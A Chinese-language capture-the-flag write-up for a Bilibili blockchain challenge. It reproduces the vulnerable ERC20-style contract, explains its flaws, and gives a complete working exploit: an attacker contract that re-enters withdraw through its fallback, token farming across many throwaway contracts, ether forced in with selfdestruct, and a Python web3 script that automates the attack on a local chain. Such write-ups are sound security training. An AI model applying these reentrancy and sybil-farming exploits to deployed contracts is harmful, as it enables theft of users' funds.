bilibili blockchain

@[toc]

源码

pragma solidity 0.8.12;


import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "@openzeppelin/contracts/utils/Context.sol";


struct Coupon {
    uint loankey;
    uint256 amount;
    address buser;
    bytes reason;
}
struct Signature {
    uint8 v;
    bytes32[2] rs;
}
struct SignCoupon {
    Coupon coupon;
    Signature signature;
}


contract MyToken is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) public _balances;
    mapping(address => uint) public _ebalances;
    mapping(address => uint) public ethbalances;

    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => uint) public _profited;
    mapping(address => uint) public _auth_one;
    mapping(address => uint) public _authd;
    mapping(address => uint) public _loand;
    mapping(address => uint) public _flag;
    mapping(address => uint) public _depositd;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    address owner;
    address backup;
    uint secret;
    uint tokenprice;

    Coupon public c;

    address public lala;
    address public xixi;


    //mid = bilibili uid
    //b64email = base64(your email address)
    //Don't leak your bilibili uid
    //Gmail is ok. 163 and qq may have some problems.
    event sendflag(string mid, string b64email); 
    event changeprice(uint secret_);

    constructor(string memory name_, string memory symbol_, uint secret_) {
        _name = name_;
        _symbol = symbol_;
        owner = msg.sender;
        backup = msg.sender;
        tokenprice = 6;
        secret = secret_;
        _mint(owner, 2233102400);
    }

    modifier onlyowner() {
        require(msg.sender == owner);
        _;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

   
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function deposit() public {
        require(_depositd[msg.sender] == 0, "you can only deposit once");
        _depositd[msg.sender] = 1;
        ethbalances[msg.sender] += 1;
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;                   
    }


    function setbackup() public onlyowner {
        owner = backup;
    }

    function ownerbackdoor() public {
        require(msg.sender == owner);
        _mint(owner, 1000);
    }

    function auth1(uint pass_) public {
        require(pass_ == secret, "auth fail");
        require(_authd[msg.sender] == 0, "already authd");
        _auth_one[msg.sender] += 1;
        _authd[msg.sender] += 1;
    }

    function auth2(uint pass_) public {
        uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
        require(pass == pass_, "password error, auth fail");
        require(_auth_one[msg.sender] == 1, "need pre auth");
        require(_authd[msg.sender] == 1, "already authd");
        _authd[msg.sender] += 1;
    }

    function payforflag(string memory mid, string memory b64email) public {
        require(_flag[msg.sender] == 2);
        emit sendflag(mid, b64email);
    }

    function flashloan(SignCoupon calldata scoupon) public {
        require(scoupon.coupon.loankey == 0, "loan key error");
        require(msg.sender == address(this), "hacker get out");
        Coupon memory coupon = scoupon.coupon;
        Signature memory sig = scoupon.signature;
        c=coupon; 
        
        require(_authd[scoupon.coupon.buser] == 2, "need pre auth");
        require(_loand[scoupon.coupon.buser] == 0, "you have already loaned");
        require(scoupon.coupon.amount <= 300, "loan amount error");

        _loand[scoupon.coupon.buser] = 1;
        
        _ebalances[scoupon.coupon.buser] += scoupon.coupon.amount;
    }

    function profit() public {
        require(_profited[msg.sender] == 0);
        _profited[msg.sender] += 1;
        _transfer(owner, msg.sender, 1);
    }

    
    function borrow(uint amount) public {
        require(amount == 1);
        require(_profited[msg.sender] <= 1);
        _profited[msg.sender] += 1;
        _transfer(owner, msg.sender, amount);
    }


    function buy(uint amount) public {
        require(amount <= 300, "max buy count is 300");
        uint price;
        uint ethmount = _ebalances[msg.sender];
        if (ethmount < 10) {
            price = 1000000;
        } else if (ethmount >= 10 && ethmount <= 233) {
            price = 10000;
        } else {
            price = 1;
        }
        uint payment = amount * price;
        require(payment <= ethmount);
        _ebalances[msg.sender] -= payment;
        _transfer(owner, msg.sender, amount);
    }


    function sale(uint amount) public {
        require(_balances[msg.sender] >= amount, "fail to sale");
        uint earn = amount * tokenprice;
        _transfer(msg.sender, owner, amount);
        _ebalances[msg.sender] += earn;
    }

    function withdraw() public {
        require(ethbalances[msg.sender] >= 1);
        require(_ebalances[msg.sender] >= 1812);
        payable(msg.sender).call{value:100000000000000000 wei}("");
        
        _ebalances[msg.sender] = 0;
        _flag[msg.sender] += 1;
    }


    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }
   
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        require(msg.sender == owner);     //不允许被owner以外调用
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

   
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        require(msg.sender == owner);     //不允许被owner以外调用
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        require(msg.sender == owner);     //不允许被owner以外调用
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

   
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

   
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }


    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    // debug param secret
    function get_secret() public view returns (uint) {
        require(msg.sender == owner);
        return secret;
    }

    // debug param tokenprice
    function get_price() public view returns (uint) {
        return tokenprice;
    }

    // test need to be delete
    function testborrowtwice(SignCoupon calldata scoupon) public {
        require(scoupon.coupon.loankey == 2233);
        MyToken(this).flashloan(scoupon);
    }

    // test need to be delete
    function set_secret(uint secret_) public onlyowner {
        secret = secret_;
        emit changeprice(secret_);
    }
}

合约最后需要使用ether，所以还得转入ether。利用selfdestruct。

// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;

contract selftode {
    
    constructor() public payable {
       
    }

    function tran(address to) public payable {
        address payable addr = payable(address(to));
        selfdestruct(addr);
    }
}

分析

感觉很多函数是迷惑人的，像flashloan或者auth等。考了一些传统漏洞，套了层代币感觉也没用上。

首先看最终触发flag的条件，需要满足_flag[msg.sender] == 2和

寻找_flag在哪里被设置，只有一个地方设置了就是withdraw。withdraw很明显本地只想让你调用一次，这样_flag[msg.sender]永远只能是1。但是这里很容易发现可以进行重入攻击，因为使用了call函数，在攻击合约上写个回调函数再次调用即可。

然后就需要满足_ebalances[msg.sender] >= 1812和ethbalances[msg.sender] >= 1就行。

首先对于ethbalances可以直接调用deposit即可

然后再来看这个_ebalances变量，它出现的地方较多。最开始想利用flashloan但后来发现需要合约本身调用，

虽然出现了一个testborrowtwice可以让合约本身去调用，但是scoupon.coupon.loankey又不能设置为0了，所以最终放弃这个函数

后面发现sale这里可以用_balances买_ebalances的值，那就得先想办法弄_balances了。

最终发现一个薅羊毛的攻击点，这两个函数很明显可以进行薅羊毛攻击，一个账户能薅2个balances。 这样的话就能完成攻击链了。

最终做法

• 部署多个攻击合约薅羊毛，然后全部转账到一个攻击合约中
• 用获得的_balances去sale_ebalances
• 最后利用调用withdraw重入攻击即可

攻击

攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;

import "./ctf.sol";
contract attack {

    MyToken mytoken;
    uint status = 0;
    event f(address);
    function setMyToken(address myto) public{
        mytoken = MyToken(myto);
    }
    function makeauth1(uint pass_) public {
        mytoken.auth1(pass_);
    }

    function makeauth2() public {
        uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
        mytoken.auth2(pass);
        // return pass;
    }

    function airdopHunting() public {
        mytoken.profit();
        mytoken.borrow(1);
    }
    function transf(address to,uint amount) public{
       mytoken.transfer(to, amount);
    }

    function makeflashloan(uint8 v, bytes32 r, bytes32 s) public{
        SignCoupon memory scoupon;
        scoupon.coupon.loankey=0;
        scoupon.coupon.amount=300;
        scoupon.coupon.buser=address(this);
        scoupon.coupon.reason="just hack";
        scoupon.signature.v=v;
        scoupon.signature.rs[0]=r;
        scoupon.signature.rs[1]=s;
        mytoken.flashloan{gas:200000}(scoupon);
        // ctfMarket.purchaseWithCoupon{gas:200000}(scoupon);
    }
    function makedeposit() public {
        mytoken.deposit();
    }
    function makewithdraw() public{
         mytoken.withdraw();
    }
    function get_ebalances() public{
        mytoken.sale(302);
    }

    function getFlag() public {
        mytoken.payforflag("1","already getflag!");
    }

    fallback() external payable{
        emit f(msg.sender);
        if (status < 1 ){
            mytoken.withdraw();
            status += 1;
        }
    }
}

一键部署和攻击脚本
```python
import solcx
from Crypto.Util.number import bytes_to_long
from eth_abi import encode_abi
from solcx import compile_files
from web3 import Web3,HTTPProvider
from hexbytes import *
import time
def bytesTohex(data):
   # return hex(bytes_to_long(data)).rjust(66,'0')
   return hex(bytes_to_long(data))


def generate_tx(chainID, to, data, value):
    # print(web3.eth.gasPrice)
    # print(web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)))
    txn = {
        'chainId': chainID,
        'from': Web3.toChecksumAddress(account_address),
        'to': to,
        'gasPrice': web3.eth.gasPrice ,
        'gas': 672197400,
        'nonce': web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)) ,
        'value': Web3.toWei(value, 'ether'),
        'data': data,
    }
    # print(txn)
    return txn

def sign_and_send(txn):
    signed_txn = web3.eth.account.signTransaction(txn, private_key)
    txn_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    txn_receipt = web3.eth.waitForTransactionReceipt(txn_hash)
    # print("txn_hash=", txn_hash)
    return txn_receipt

def deploy_ctf():
    compiled_sol = compile_files(["ctf.sol"],output_values=["abi", "bin"],solc_version="0.8.12")
    data = compiled_sol['ctf.sol:MyToken']['bin']
    # print(data)
    data = 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    txn = generate_tx(chain_id, '', data, 0)
    txn_receipt = sign_and_send(txn)
    attack_abi = compiled_sol['ctf.sol:MyToken']['abi']
    # print(txn_receipt)
    if txn_receipt['status'] == 1:
        attack_address = txn_receipt['contractAddress']
        return attack_address,attack_abi
    else:
        exit(0)
def deploy_attack():
    compiled_sol = compile_files(["attack.sol"],output_values=["abi", "bin"],solc_version="0.8.12")
    data = compiled_sol['attack.sol:attack']['bin']
    # print(data)
    txn = generate_tx(chain_id, '', data, 0)
    txn_receipt = sign_and_send(txn)
    attack_abi = compiled_sol['attack.sol:attack']['abi']
    # print(txn_receipt)
    if txn_receipt['status'] == 1:
        attack_address = txn_receipt['contractAddress']
        return attack_address,attack_abi
    else:
        exit(0)
def deploy_selftocode():
    compiled_sol = compile_files(["selftocode.sol"],output_values=["abi", "bin"],solc_version="0.8.12")
    data = compiled_sol['selftocode.sol:selftode']['bin']
    # print(data)
    txn = generate_tx(chain_id, '', data, Web3.fromWei(100000000000000000,'ether'))
    txn_receipt = sign_and_send(txn)
    attack_abi = compiled_sol['selftocode.sol:selftode']['abi']
    # print(txn_receipt)
    if txn_receipt['status'] == 1:
        attack_address = txn_receipt['contractAddress']
        return attack_address,attack_abi
    else:
        exit(0)
def get_Secret(location : int):
    slot = web3.eth.getStorageAt(ctf_address,location)
    print(bytesTohex(slot))
def setMyToken(attack_address):
    # attack.setMyToken()
    data = "0xbc734d52000000000000000000000000" + ctf_address[2:]
    airdopHunting = generate_tx(chain_id, attack_address, data, 0)
    sign_and_send(airdopHunting)

def transf(toaccack,address):
    # attack.transf()
    functionSign = HexBytes(web3.sha3(text='transf(address,uint)')).hex()[0:10]
    data = "0x22cbeb4f000000000000000000000000{}0000000000000000000000000000000000000000000000000000000000000002".format(address[2:])
    airdopHunting = generate_tx(chain_id, toaccack, data, 0)
    sign_and_send(airdopHunting)

def airdopHunting(i):
    for i in range(0,i):
        attack_address, attack_abi = deploy_attack()
        attack_instance = web3.eth.contract(address=attack_address, abi=ctf_abi)
        setMyToken(attack_address)

        # attack.airdopHunting()
        functionSign = HexBytes(web3.sha3(text='airdopHunting()')).hex()[0:10]
        airdopHunting = generate_tx(chain_id, attack_address, "0xc304e159", 0)
        sign_and_send(airdopHunting)
        transf(attack_address,exp_address)
def selftode():
    selftode_address, selftode_abi = deploy_selftocode()
    selftode_instance = web3.eth.contract(address=selftode_address, abi=selftode_abi)
    # print(selftode_instance.all_functions())
    print("[+] selftode_address is " + str(web3.eth.getBalance(selftode_address)))
    selftode_instance.functions.tran(ctf_address).call()

    data = "0x5b2d937e000000000000000000000000" + ctf_address[2:]
    functionSign = HexBytes(web3.sha3(text='tran(address)')).hex()[0:10]
    attack = generate_tx(chain_id, selftode_address, data ,0)
    sign_and_send(attack)


if __name__ == '__main__':
    # exp()
    solcx.install_solc('0.8.12')
    rpc = "http://127.0.0.1:8545"
    web3 = Web3(HTTPProvider(rpc))
    private_key = '8af7453279f445ed7ef7972de0a8c5c454d9009b4fe95de83606da95f7559685'
    acct = web3.eth.account.from_key(private_key)
    account_address = acct.address
    chain_id = 5777
    print("[+] account_address is " + str(account_address))
    print("[+] account_Balance is " + str(web3.eth.getBalance(account_address)))

    ctf_address,ctf_abi = deploy_ctf()

    ctf_instance = web3.eth.contract(address=ctf_address, abi=ctf_abi)
    # ctf_address = "0x67013889C2812055E10FAc1a09a1023A04ACE194"
    print(ctf_instance.all_functions())
    print("[+] ctf_address is " + str(ctf_address))

    exp_address, exp_abi = deploy_attack()
    # exp_address = "0xE7e05409e019CEA7E920A9BcFdf0bdD1eB2cD35a"
    exp_instance = web3.eth.contract(address=exp_address, abi=exp_abi)
    print("[+] exp_address is " + str(exp_address))
    setMyToken(exp_address)

    selftode()
    print("[+] ctf_address is " + str(web3.eth.getBalance(ctf_address)))
    airdopHunting(152)
    # time.sleep(10)

    # ctf.getBalance(address)
    print(ctf_instance.functions.balanceOf(exp_address).call())
    # secret_value = get_Secret(15)

    # attack.makedeposit()
    functionSign = HexBytes(web3.sha3(text='makedeposit()')).hex()[0:10]
    attack = generate_tx(chain_id, exp_address, functionSign ,0)
    sign_and_send(attack)

    # attack.get_ebalances
    functionSign = HexBytes(web3.sha3(text='get_ebalances()')).hex()[0:10]
    attack = generate_tx(chain_id, exp_address, functionSign ,0)
    sign_and_send(attack)
    print("[+] _ebalancesOf(exp_address) is " + str(ctf_instance.functions._ebalances(exp_address).call()))

    # attack.makewithdraw
    functionSign = HexBytes(web3.sha3(text='makewithdraw()')).hex()[0:10]
    attack = generate_tx(chain_id, exp_address, functionSign ,0)
    sign_and_send(attack)
    print("[+] _flag(exp_address) is " + str(ctf_instance.functions._flag(exp_address).call()))

    # attack.getFlag
    functionSign = HexBytes(web3.sha3(text='getFlag()')).hex()[0:10]
    attack = generate_tx(chain_id, exp_address, functionSign ,0)
    flag = sign_and_send(attack)
    print(ctf_instance.events.sendflag().processLog(flag["logs"][0]))